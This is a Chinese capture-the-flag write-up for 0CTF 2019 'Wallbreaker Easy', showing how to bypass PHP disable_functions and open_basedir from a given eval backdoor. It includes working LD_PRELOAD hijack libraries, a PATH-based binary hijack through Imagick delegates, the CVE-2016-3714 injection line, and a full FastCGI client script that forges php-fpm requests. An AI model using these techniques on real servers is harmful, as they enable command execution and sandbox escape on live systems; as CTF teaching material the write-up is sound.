0CTF-2019-Wallbreaker-Easy-WriteUp

2019-05-29 8,938

Web狗表示游戏体验有点差,被虐惨了。题目质量很高,赞一个,抽空记录一下解题学习思路,细节慢慢补充。

题目信息

题目如下

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655
Hint: eval($_POST["backdoor"]);

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目已经是一句话木马,查看源码:

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>
<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);

查看phpinfo寻找信息:

  • Server API

FPM/FastCGI
  • disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail
  • open_basedir

脚本内:   /var/www/html:/tmp/b4c4c1d24e4edae72b3e5ebd24d4723c
php.ini: /var/www/html:/tmp
  • sendmail

sendmail_path:    /usr/sbin/sendmail -t -i

解题思路

Flag存在于/readflag,题目中主要是有open_basedir,disable_functions两个防御措施。可以发现disable_functions中并没有包含file_put_contents,file_get_contents之类的,因此还是能够完成文件的上传和读取等操作,但会因为open_basedir受到限制。

因为是通过apt install安装的各类软件,因此并不存在Ghostscript等nDay漏洞。

这个题目存在两个思路:

  • 绕过open_basedir限制使用file_get_contents等函数进行flag文件读取。

  • 绕过disable_functions限制进行命令执行,进行flag文件读取,毕竟执行命令不受open_basedir限制。

在做记录的时候发现题目已经关闭,故根据phpinfo构造相同配置的环境。

命令执行法

执行命令的思路主要是源于此Paper:<无需sendmail:巧用LD_PRELOAD突破disable_functions>

Paper中的方法是在没有禁用putenv()和mail()的情况下,通过LD_PRELOAD加上mail()或imap_mail()进行系统劫持,完成系统命令执行。

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,加载的优先级最高。

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库,完成程序注入和劫持。

  • LA_PRELOAD替换前 

image-20190401115707061.png

  • LA_PRELOAD替换后 

image-20190401115738393.png

mail和imap_mail

从paper中可以得知:在调用mail和imap_mail函数发送邮件时,本质上是调用Sendmail这个组件程序进行操作。

利用上文提到的LA_PRELOAD环境变量载入的动态链接库具有最高优先级的特性,载入自定义的恶意动态链接库,对Sendmail调用的动态链接库中的函数进行重载覆盖,达到完成劫持程序的目的。

查看Sendmail中引用的glibc动态链接中的引用符号表,并选择getuid函数进行劫持

image-20190401153803695.png

Getuid劫持代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("whoami > result.txt");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后编译成动态链接库

gcc -c -fPIC hook.c -o hook
gcc -shared hook -o hook.so

传到服务器上,脚本中设置LA_PRELOAD,执行脚本完成命令执行

<?php
putenv("LD_PRELOAD=/var/www/html/hook.so");
mail("","","","","");
?>

但是此方法在本题中无法直接使用:

  • mail函数已经被禁用

  • 按照官方hint的apt install默认安装,提示不存在imap_mail函数,需要安装imap拓展

image-20190401165032864.png

ImageMagick

mail调用并劫持sendmail行不通,但可以根据hint中的php-imagick调用ImageMagick完成劫持,实现命令注入。

  • php - Imagick 是用 调用ImageMagic API 来创建和修改图像的PHP官方扩展。

  • ImageMagick® 是用来创建,编辑,合并位图图像的一套组件。 它能够用于读取,转换,写入多种不同格式的图像。 包含 DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, 和 TIFF。

ImageMagick能够完成多种格式之间的转化,并非全部内置功能实现转换方式。ImageMagick有一个功能叫做delegate(委托),可以调用外部的lib来处理文件,而调用外部lib的过程是使用系统的system命令。

比如参考ImageMagick 命令执行(CVE-2016-3714 ),delegate配置文件为:

<delegate decode="https" command="&quot;curl&quot; -s -k -o &quot;%o&quot; &quot;https:%M&quot;"/>

使用delegate时完成命令注入,实际执行的命令为:

"wget" -q -O "%o" "https://example.com"|ls "-al"

可以看到调用了wget,因此php - Imagick也能够调用外部程序。

方法1 - 函数劫持

查看配置文件,在bmp->jxr,bmp->wdp等格式转化时,会调用mv,JxrEncApp外部命令程序。

<delegate decode="bmp" encode="jxr" command="/bin/mv &quot;%i&quot; &quot;%i.bmp&quot;; &quot;JxrEncApp&quot; -i &quot;%i.bmp&quot; -o &quot;%o.jxr&quot;; /bin/mv &quot;%i.bmp&quot; &quot;%i&quot;; /bin/mv &quot;%o.jxr&quot; &quot;%o&quot;"/>
<delegate decode="bmp" encode="wdp" command="/bin/mv &quot;%i&quot; &quot;%i.bmp&quot;; &quot;JxrEncApp&quot; -i &quot;%i.bmp&quot; -o &quot;%o.jxr&quot;; /bin/mv &quot;%i.bmp&quot; &quot;%i&quot;; /bin/mv &quot;%o.jxr&quot; &quot;%o&quot;"/>

查看进程执行时的系统调用详情:

image-20190401214952900.png

查看mv中引用的glibc动态链接中的引用符号表,同样可选择getuid函数进行劫持

image-20190401215923006.png

修改uid劫持代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt");
}   
int  geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}


将编译成动态链接库后和bmp文件通过file_put_contents上传至服务器

image-20190402121107239.png

发送POST数据,调用恶意动态链接库,将flag写入/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt

backdoor=putenv("LD_PRELOAD=/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.so");$thumb = new Imagick();$thumb->readImage('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.bmp');$thumb->writeImage('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/test.wdp');

读取flag

backdoor=var_dump(file_get_contents('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt'));

image-20190402141006854.png

方法2 - 应用劫持

在bmp->wdp格式转换的委托过程中,还调用了JxrEncApp,根据Hint的安装方式,这个应用默认并未安装。

image-20190401231350254.png

将如下代码编译成JxrEncApp

#include<stdio.h>
#include<stdlib.h>
int main()
{
        system("cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt");
        return 0;
}

写入JxrEncApp文件,通过putenv设置PATH变量,触发委托,进行应用劫持:

image-20190402152324921.png

方法3 - __attribute__ 机制

上文paper中的终极解法,在恶意动态链接库中利用__attribute__ 机制劫持新启动程序的main()的构造和析构。

__attribute__ 机制

  • __attribute__ 机制是GNU C 的一大特色,可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute )。

  • __attribute__ ((constructor))会使函数在main()函数之前被执行。

  • __attribute__ ((destructor))会使函数在main()退出后执行。

  • 函数属性__attribute__((constructor))和__attribute__((destructor))在可执行文件或库文件里都可以生效。

同样编译成动态链接库,恶意代码如下:

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
//__attribute__ ((constructor)) void preload (void)
__attribute__ ((destructor)) void preload (void)
{
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system("cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt");
}

同样设置LD_PRELOAD加载链接库,然后调用php - Imagick启动新进程并劫持:

image-20190402190013605.png

open_basedir Bypass(Fast-Cgi)

利用FPM的特点,绕过open_basedir限制,完成文件读取。

在Web模型中:

  • Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器,

  • Web Application 一般指PHP、Java、Asp.net等后端应用程序。

image-20190402203918825.png

Web Server遇到动态脚本的请求后并不和编程语言解析器直接通讯,通过PHP-FPM(网关)转化成FastCGI协议通信通信,扮演翻译官的角色实现组件解耦,增强了架构的伸缩性。

  • CGI:是 Web Server 与 Web Application 之间数据交换的一种协议。

  • FastCGI:同 CGI,是一种通信协议,但比 CGI 在效率上做了一些优化。同样,SCGI 协议与 FastCGI 类似。

  • PHP-CGI:是 PHP (Web Application)对 Web Server 提供的 CGI 协议的接口程序。

  • PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能一些任务管理。

比如访问http://127.0.0.1/index.php,Web server会尝试解析为键对值:

        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php',
        'SERVER_SOFTWARE'   => 'php/fcgiclient',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'mag-tured',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
        'CONTENT_LENGTH'    => '8',
        'PHP_VALUE'         => 'open_basedir = /',

在PHP中:

  • 可以通过在FastCGI协议修改PHP_VALUE字段进而修改php.ini中的一些设置,而open_basedir同样可以通过此种方法进行设置。

  • 正因为组件的解耦,因此FPM没有判断请求的来源是否必须来自Webserver,在我们获取Webshell的情况下可以伪造并向WebServer向PFM发起请求。

以上的请求键对值会通过FastCGI传给FPM,FPM进行无差别接受,修改php.ini,并且根据SCRIPT_FILENAME对php的文件进行执行/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php

利用

  • 首先上传用于读取文件的脚本flag.php

<?php
echo file_get_contents('/readflag');
?>
  • 接着上传用于伪造FastCGI的脚本exp.php

<?php
class TimedOutException extends \Exception {
}
class ForbiddenException extends \Exception {
}
class Client {
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
private $_requests = array();
private $_persistentSocket = false;
private $_connectTimeout = 5000;
private $_readWriteTimeout = 5000;
public function __construct( $host, $port ) {
    $this->_host = $host;
    $this->_port = $port;
}
public function setKeepAlive( $b ) {
  		$this->_keepAlive = (boolean) $b;
  		if ( ! $this->_keepAlive && $this->_sock ) {
  			fclose( $this->_sock );
    }
}
public function getKeepAlive() {
    return $this->_keepAlive;
}
public function setPersistentSocket( $b ) {
  		$was_persistent          = ( $this->_sock && $this->_persistentSocket );
  		$this->_persistentSocket = (boolean) $b;
  		if ( ! $this->_persistentSocket && $was_persistent ) {
  			fclose( $this->_sock );
    }
}
public function getPersistentSocket() {
    return $this->_persistentSocket;
}
public function setConnectTimeout( $timeoutMs ) {
  		$this->_connectTimeout = $timeoutMs;
}
public function getConnectTimeout() {
    return $this->_connectTimeout;
}
public function setReadWriteTimeout( $timeoutMs ) {
  		$this->_readWriteTimeout = $timeoutMs;
  		$this->set_ms_timeout( $this->_readWriteTimeout );
}
public function getReadWriteTimeout() {
    return $this->_readWriteTimeout;
}
private function set_ms_timeout( $timeoutMs ) {
  		if ( ! $this->_sock ) {
        return false;
    }
    return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
}
private function connect() {
    if ( ! $this->_sock ) {
  			if ( $this->_persistentSocket ) {
  				$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
  			} else {
  				$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
  			}
  			if ( ! $this->_sock ) {
  				throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
  			}
  			if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
            throw new \Exception( 'Unable to set timeout on socket' );
        }
    }
}
private function buildPacket( $type, $content, $requestId = 1 ) {
  		$clen = strlen( $content );
    return chr( self::VERSION_1 )         /* version */
           . chr( $type )                    /* type */
  		       . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
           . chr( $requestId & 0xFF )        /* requestIdB0 */
  		       . chr( ( $clen >> 8 ) & 0xFF )     /* contentLengthB1 */
           . chr( $clen & 0xFF )             /* contentLengthB0 */
  		       . chr( 0 )                        /* paddingLength */
  		       . chr( 0 )                        /* reserved */
  		       . $content;                     /* content */
}
private function buildNvpair( $name, $value ) {
    $nlen = strlen( $name );
    $vlen = strlen( $value );
    if ( $nlen < 128 ) {
  			/* nameLengthB0 */
  			$nvpair = chr( $nlen );
  		} else {
  			/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
  			$nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF );
  		}
  		if ( $vlen < 128 ) {
        /* valueLengthB0 */
        $nvpair .= chr( $vlen );
    } else {
        /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
        $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF );
    }
    /* nameData & valueData */
    return $nvpair . $name . $value;
}
private function readNvpair( $data, $length = null ) {
    $array = array();
  		if ( $length === null ) {
        $length = strlen( $data );
    }
    $p = 0;
  		while ( $p != $length ) {
  			$nlen = ord( $data{$p ++} );
  			if ( $nlen >= 128 ) {
  				$nlen = ( $nlen & 0x7F << 24 );
  				$nlen |= ( ord( $data{$p ++} ) << 16 );
  				$nlen |= ( ord( $data{$p ++} ) << 8 );
  				$nlen |= ( ord( $data{$p ++} ) );
  			}
  			$vlen = ord( $data{$p ++} );
  			if ( $vlen >= 128 ) {
  				$vlen = ( $nlen & 0x7F << 24 );
  				$vlen |= ( ord( $data{$p ++} ) << 16 );
  				$vlen |= ( ord( $data{$p ++} ) << 8 );
  				$vlen |= ( ord( $data{$p ++} ) );
  			}
  			$array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen );
  			$p                                   += ( $nlen + $vlen );
    }
    return $array;
}
private function decodePacketHeader( $data ) {
  		$ret                  = array();
  		$ret['version']       = ord( $data{0} );
  		$ret['type']          = ord( $data{1} );
  		$ret['requestId']     = ( ord( $data{2} ) << 8 ) + ord( $data{3} );
  		$ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} );
  		$ret['paddingLength'] = ord( $data{6} );
  		$ret['reserved']      = ord( $data{7} );
    return $ret;
}
private function readPacket() {
    if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) {
        $resp            = $this->decodePacketHeader( $packet );
  			$resp['content'] = '';
        if ( $resp['contentLength'] ) {
  				$len = $resp['contentLength'];
  				while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) {
  					$len             -= strlen( $buf );
  					$resp['content'] .= $buf;
  				}
  			}
  			if ( $resp['paddingLength'] ) {
            $buf = fread( $this->_sock, $resp['paddingLength'] );
        }
        return $resp;
    } else {
        return false;
    }
}
public function getValues( array $requestedInfo ) {
  		$this->connect();
  		$request = '';
  		foreach ( $requestedInfo as $info ) {
  			$request .= $this->buildNvpair( $info, '' );
  		}
  		fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) );
  		$resp = $this->readPacket();
  		if ( $resp['type'] == self::GET_VALUES_RESULT ) {
  			return $this->readNvpair( $resp['content'], $resp['length'] );
    } else {
        throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' );
    }
}
public function request( array $params, $stdin ) {
    $id = $this->async_request( $params, $stdin );
    return $this->wait_for_response( $id );
}
public function async_request( array $params, $stdin ) {
    $this->connect();
  		// Pick random number between 1 and max 16 bit unsigned int 65535
  		$id = mt_rand( 1, ( 1 << 16 ) - 1 );
    // Using persistent sockets implies you want them keept alive by server!
    $keepAlive     = intval( $this->_keepAlive || $this->_persistentSocket );
  		$request       = $this->buildPacket( self::BEGIN_REQUEST
  			, chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 )
        , $id
  		);
  		$paramsRequest = '';
    foreach ( $params as $key => $value ) {
  			$paramsRequest .= $this->buildNvpair( $key, $value, $id );
  		}
  		if ( $paramsRequest ) {
        $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id );
    }
    $request .= $this->buildPacket( self::PARAMS, '', $id );
  		if ( $stdin ) {
        $request .= $this->buildPacket( self::STDIN, $stdin, $id );
    }
    $request .= $this->buildPacket( self::STDIN, '', $id );
  		if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) {
        $info = stream_get_meta_data( $this->_sock );
        if ( $info['timed_out'] ) {
  				throw new TimedOutException( 'Write timed out' );
  			}
  			// Broken pipe, tear down so future requests might succeed
  			fclose( $this->_sock );
        throw new \Exception( 'Failed to write request to socket' );
    }
    $this->_requests[ $id ] = array(
        'state'    => self::REQ_STATE_WRITTEN,
        'response' => null
    );
    return $id;
}
public function wait_for_response( $requestId, $timeoutMs = 0 ) {
    if ( ! isset( $this->_requests[ $requestId ] ) ) {
        throw new \Exception( 'Invalid request id given' );
    }
    if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK
         || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR
    ) {
        return $this->_requests[ $requestId ]['response'];
    }
    if ( $timeoutMs > 0 ) {
  			// Reset timeout on socket for now
  			$this->set_ms_timeout( $timeoutMs );
  		} else {
  			$timeoutMs = $this->_readWriteTimeout;
    }
    $startTime = microtime( true );
  		do {
  			$resp = $this->readPacket();
  			if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) {
  				if ( $resp['type'] == self::STDERR ) {
  					$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR;
  				}
  				$this->_requests[ $resp['requestId'] ]['response'] .= $resp['content'];
  			}
  			if ( $resp['type'] == self::END_REQUEST ) {
  				$this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK;
  				if ( $resp['requestId'] == $requestId ) {
  					break;
  				}
  			}
  			if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) {
  				// Reset
  				$this->set_ms_timeout( $this->_readWriteTimeout );
  				throw new \Exception( 'Timed out' );
  			}
  		} while ( $resp );
    if ( ! is_array( $resp ) ) {
  			$info = stream_get_meta_data( $this->_sock );
  			// We must reset timeout but it must be AFTER we get info
  			$this->set_ms_timeout( $this->_readWriteTimeout );
  			if ( $info['timed_out'] ) {
  				throw new TimedOutException( 'Read timed out' );
  			}
  			if ( $info['unread_bytes'] == 0
  			     && $info['blocked']
  			     && $info['eof'] ) {
  				throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' );
  			}
  			throw new \Exception( 'Read failed' );
  		}
  		// Reset timeout
  		$this->set_ms_timeout( $this->_readWriteTimeout );
  		switch ( ord( $resp['content']{4} ) ) {
        case self::CANT_MPX_CONN:
            throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' );
            break;
        case self::OVERLOADED:
            throw new \Exception( 'New request rejected; too busy [OVERLOADED]' );
            break;
        case self::UNKNOWN_ROLE:
            throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' );
            break;
        case self::REQUEST_COMPLETE:
            return $this->_requests[ $requestId ]['response'];
    }
}
}
$client    = new Client( 'unix:///var/run/php/php7.2-fpm.sock', - 1 );
  $php_value = "open_basedir = /";
$filepath  = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php';
  $content   = 'rai4over';
echo $client->request(
  	array(
  		'GATEWAY_INTERFACE' => 'FastCGI/1.0',
  		'REQUEST_METHOD'    => 'POST',
  		'SCRIPT_FILENAME'   => $filepath,
    'SERVER_SOFTWARE'   => 'php/fcgiclient',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9985',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'mag-tured',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_TYPE'      => 'application/x-www-form-urlencoded',
    'CONTENT_LENGTH'    => strlen( $content ),
  		'PHP_VALUE'         => $php_value,
),
$content
);
  • 然后使用为禁用的include包含exp.flag

    exp.php会发送修改php.ini中open_basedir并访问flag.php的请求,完成flag读取。


参考

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

http://www.cnblogs.com/net66/p/5609026.html>

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

https://github.com/l3m0n/Bypass_Disable_functions_Shell

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://www.secpulse.com/archives/13175.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://blog.csdn.net/qq_33020901/article/details/52097142

https://www.awaimai.com/371.html



本文作者:Rai4over

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/106525.html

Tags:
评论  (0)
快来写下你的想法吧!

Rai4over

文章数:30 积分: 625

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号